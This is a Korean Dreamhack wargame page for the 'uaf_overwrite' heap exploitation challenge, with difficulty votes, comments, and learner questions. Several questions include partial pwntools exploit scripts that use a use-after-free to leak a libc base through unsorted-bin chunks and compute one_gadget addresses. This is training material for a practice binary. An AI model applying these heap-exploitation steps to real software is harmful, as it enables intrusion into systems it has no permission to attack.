학습
워게임
CTF
커뮤니티
랭킹
스토어
커리어
Beta
로그인
|
기업 서비스
Home
학습
워게임
CTF
커뮤니티
랭킹
커리어
Beta
기업 서비스로 이동하기 >
LEVEL 2
uaf_overwrite
pwnable
2497
1139
로그인 하고 문제 풀기
문제 정보
풀이
53
난이도 투표
89
질문
19
최근 풀이자
1139
댓글
29
문제 설명
Description
Exploit Tech: Use After Free에서 실습하는 문제입니다.
Challenge Updates
2023.04.27: Dockerfile이 제공됩니다.
Translate
난이도 투표
89
문제 풀이를 완료한 후에 피드백을 제출할 수 있습니다.
투표 결과
전체 투표 로그
1 / 18
shellcode
대표 업적 없음
LEVEL 3에 투표했습니다.
1일 전
PUPU
대표 업적 없음
LEVEL 2에 투표했습니다.
2일 전
상상이
.HACK 2025 참가자
LEVEL 2에 투표했습니다.
5일 전
PureCrow
강의 수강: 1
LEVEL 3에 투표했습니다.
6일 전
arago
대표 업적 없음
LEVEL 2에 투표했습니다.
14일 전
질문
19
문제 풀이에 어려움이 있으신가요?
커뮤니티에서 문제에 대한 질문하고 답변 얻기
gdb 상에서 fd값 차이
0x555555603260: 0x00007ffff7dc0a42 0x00007ffff7dcdca0 위는 Chunk에 데이터 B를 입력한 후 heap을 통해 확인한 값입니다. 왜 fd값이 0x00007ffff7dcdc42가 아닌 0x00007ffff7dc0a42으로 나오나요??
han76
답변
1
추천
0
1년 전
libc_base 주소 구할때 질문
main_arena가 __malloc_hook +0x10에 존재하니 libc_base = main_arena + 88 - libc.symbols['__malloc_hook'] - 0x10으로도 구할 수 있다는 정보를 찾았는데 이러면 굳이 처음에 라이브러리 릭을 할 필요가 없지 않나요?
M200is
답변
2
추천
0
3년 전
unsorted bin - libc
문제를 풀 때 unsorted bin이 libc의 특정 주소와 연관이 있다는 것을 이용해서 풀었는데, 해당 내용은 어떤 방식으로 알 수 있을까요? 이런 개념들이 자세히 정리되어있는 곳이 있을까요?
han76
답변
1
추천
0
1년 전
sendlineafter과 sendafter은 무슨 차이가 있나요?
익스를 하던 중 실수해서 sendafter(b': ',data) 부분을 sendlineafter(b': ',data)로 적게 되었습니다. 그런데 이 경우엔 동작을 안 하더군요. 혹시나 하는 마음에 line feed를 뜻하는 0a를 붙여서 빼보았는데도 마찬가지였습니다. 이 두 함수는 무슨 차이가 있길래 sendafter만 동작하는 건가요?
외눈물고기
답변
1
추천
0
2개월 전
탑 청크 병합 관련 질문
해당 문제 강의에서 custom_func 함수는 0x100 바이트 이상의 크기를 갖는 청크를 할당하고, 할당된 청크들 중 원하는 청크를 해제할 수 있는 함수이고 0x410 이하의 크기를 갖는 청크는 tcache에 먼저 삽입되므로, 이보다 큰 청크를 해제해서 unsorted bin에 연결하고, 이를 재할당하여 값을 읽으면 libc가 매핑된 주소를 계산할 수 있다 하였습니다. 그리고 unsorted bin에 포함되는 청크와 탑 청크는 병합 대상이므로, 이 둘이 맞닿으면 청크가 병합되어 이를 피하려면 청크 두 개를 연속으로 할당하고, 처음 할당한 청크를 해제해야 한다고 했습니다. custom(0x500, "AAAA", -1) custom(0x500, "AAAA", -1) custom(0x500, "AAAA", 0) custom(0x500, "B", -1) 그런데 탑 청크와 인접하지 않기 위함이면 아래와 같이 해도 괜찮지 않을까 생각했습니다. custom(0x500, "AAAA", -1) custom(0x500, "AAAA", 0) custom(0x500, "B", -1) 실제로 수정하여 했을 때 정상작동 하였는데 혹시 강의 코드와 같이 작성하는 이유가 따로 있을까요?
semon
답변
1
추천
0
3년 전
one_gadget
바로 앞 강의에서의 코드에서 process 부분을 remote라고만 변경하면 문제가 풀리기는 하는데... 직전 강의에서 바이너리 파일을 이용했을 때는 og = lb + 0x10a41c 부분에 0x10a41c 대신 제가 직접 구한 one_gadget을 넣어줘야 했습니다. 그런데 여기서는 직접 구한 one_gadget을 넣어주면 안 되네요. 그렇다면 0x10a41c는 어디서 나온 값인지 알 수 있을까요?
oxo
답변
1
추천
0
3년 전
익스 성공 후
image.png 이렇게 무한루프 내에서 따인걸로 떠서 명령어 치면 무한루프 재생되는데 어떻게 해야되나여..
mooji
답변
1
추천
0
2년 전
왜 엉뚱한 값이 나오는지 모르겠습니다. 도와주세요
아래는 제가 직접 작성한 코드입니다. 처음에는 쉘까지 얻는 코드를 작성했지만 라이브러리 주소를 잘 못 받는거 같아서 라이브러리 주소 받는 코드까지만 작성을 했는데요. 아래에 제가 사진과 같이 코드를 설명할건데 어디서 틀렸는지나 혹은 왜 이상한 값이 나오는지 설명해주시면 감사하겠습니다. from pwn import * #p = remote('host3.dreamhack.games', 16493) p = process('./uaf_overwrite') e = ELF('./uaf_overwrite') libc = ELF('./libc-2.27.so') def log(n, m): return success(": ".join([n, hex(m)])) def robot(weight): p.sendlineafter("> ", str(2)) p.sendlineafter("Robot Weight: ", str(weight)) def human(weight, age): p.sendlineafter("> ", str(1)) p.sendlineafter("Human Weight: ", str(weight)) p.sendlineafter("Human Age: ", str(age)) def custom(size, data, idx): p.sendlineafter("> ", "3") p.sendlineafter("Size: ", str(size)) p.sendlineafter("Data: ", data) p.sendlineafter("Free idx: ", str(idx)) one_gadget = [0x4f3d5, 0x4f432, 0x10a41c] custom(1040, "AAAA", -1) #첫번째 청크 & non free custom(1040, "BBBB", 0) #두번째 청크 & 첫번째 free p.sendlineafter("> ", "3") #세번째 청크 & main_arena addr leak p.sendlineafter("Size: ", "1040") p.sendlineafter("Data: ", "AAAAAAAAA") p.recvuntil("Data: AAAAAAAA") lib = u64(p.recv(6) + b"\x00\x00") log("lib", lib) 우선 main_arena 주소를 얻기 위해 청크를 할당 및 해제를 해줍니다. unsorted bin에 들어가도록 size는 0x410 이상으로 맞춰주었습니다. 현재 첫번째 청크가 해제되었습니다. 해제된 청크를 보면 fd와 bk에 main__arena 주소가 있네요. main_arena 주소를 laek하기 위해 uaf 취약점을 이용하여 데이터를 leak해보겠습니다. 해제 후에 같은 청크를 할당하기 위해 같은 사이즈의 청크를 할당하였습니다. A를 9번 넣어준 이유는 bk값을 얻기 위해서입니다. fd 값은 main_arena 주소가 아니더라구요. A를 9번 넣어주면 fd 값의 주소가 전부 A로 덮히고 bk값에 A가 하나 덮혔네요. 그러면 데이터가 AAAAAAAA[main_arena 뒤에 41] 이렇게 출력되겠네요. 그래서 앞에 있는 8개의 A를 버린 다음 main_arena주소(7byte) + 'A'를 받으려고 했습니다. 그럼 나오는 데이터는 대충 0x7ffff41 형태로 나와야 하는데 코드를 실행해보면 앞에 7f와 뒤에 41은 맞는데 중간은 어디서 온건지 모르는 값이 나오더라구요.. 왜 이러는걸까요?
p6rkdoye0n
답변
1
추천
0
2년 전
one gadget 질문있습니다.
만약 이러한 유형의 문제에서 해당하는 libc의 one gadget이 다 안 먹힌다면 어떠한 방식으로 익스플로잇이 가능할까요?
5un9hun
답변
1
추천
0
3년 전
어디서 main_arena 주소가 출력 되는 것인가요?
아래는 강의에서 나온 코드인데요.. fd나 bk에 있는 주소를 받는 부분 앞에서 free idx까지 입력을 해서 데이터가 나올 곳이 없는데 도대체 어떻게 주소를 받는 것인가요? 그리고 제가 data까지 입력을 한 뒤 데이터가 나올 때 그 데이터를 받도록 추가적으로 코드를 설계 했는데 엉뚱한 값을 받는 것 같아요.. 도와주세요 from pwn import * p = process("./uaf_overwrite") def slog(sym, val): success(sym + ": " + hex(val)) def human(weight, age): p.sendlineafter(">", "1") p.sendlineafter(": ", str(weight)) p.sendlineafter(": ", str(age)) def robot(weight): p.sendlineafter(">", "2") p.sendlineafter(": ", str(weight)) def custom(size, data, idx): p.sendlineafter(">", "3") p.sendlineafter(": ", str(size)) p.sendafter(": ", data) p.sendlineafter(": ", str(idx)) UAF to calculate the libc_base custom(0x500, "AAAA", -1) custom(0x500, "AAAA", -1) custom(0x500, "AAAA", 0) custom(0x500, "B", -1) # data 값이 "B"가 아니라 "C"가 된다면, offset은 0x3ebc42 가 아니라 0x3ebc43이 됩니다. lb = u64(p.recvline()[:-1].ljust(8, b"\x00")) - 0x3ebc42 og = lb + 0x10a41c slog("libc_base", lb) slog("one_gadget", og) `
p6rkdoye0n
답변
1
추천
0
2년 전
«
‹
1
2
›
»
LEVEL 2
uaf_overwrite
pwnable
2497
1139
로그인 하고 문제 풀기
출제자 정보
Dreamhack
대표 업적 없음
2021.12.08. 17:27:01
First Blood!
st4rlight
소포모어
출제된 지
4시간
만에 풀이 완료!
최근 풀이자
1139
shellcode
대표 업적 없음
1일 전
PUPU
대표 업적 없음
2일 전
Grayaa
대표 업적 없음
4일 전
0wl
대표 업적 없음
4일 전
상상이
.HACK 2025 참가자
5일 전
nguyendd
대표 업적 없음
6일 전
DaV1tch
대표 업적 없음
6일 전
PureCrow
강의 수강: 1
6일 전
이효진
대표 업적 없음
7일 전
이누
대표 업적 없음
10일 전
«
‹
1
2
3
4
5
›
»
댓글
29
PUPU
대표 업적 없음
2일 전
ㄹㅇ 졸라어렵네
Translate
haehae
대표 업적 없음
3개월 전
libc를 어떻게 릭 하느냐가 문제의 핵심인거 같아요
Translate
Rootsquare
해결사
3개월 전
해제 후 사용(Use After Free)의 어려운 연습 문제.
Translate
사용자
해결사
2년 전
좋은 연습문제입니다
Translate
포고로모
대표 업적 없음
2년 전
libc base 구하는 곳에서 대가리 실컷 깨지면서 많이 배웠습니다. 여러분도 머리 좀 깨지십쇼 저는 가봅니다
Translate
Rosieblue
워게임 고인물
2년 전
good
Translate
UKO
2022 Christmas CTF 운영
2년 전
어려워요..
Translate
Ox0ne
대표 업적 없음
2년 전
강의를 보고 하긴 했는데.,,libc주소 구하는 과정에서 필요한 지식이 너무 많아짐..ㅠ
Translate
Index
워게임: 1
3년 전
이게 왜 레벨1..?
Translate
msh1307
대표 업적 없음
3년 전
: )
Translate
«
‹
1
2
3
›
»
댓글 29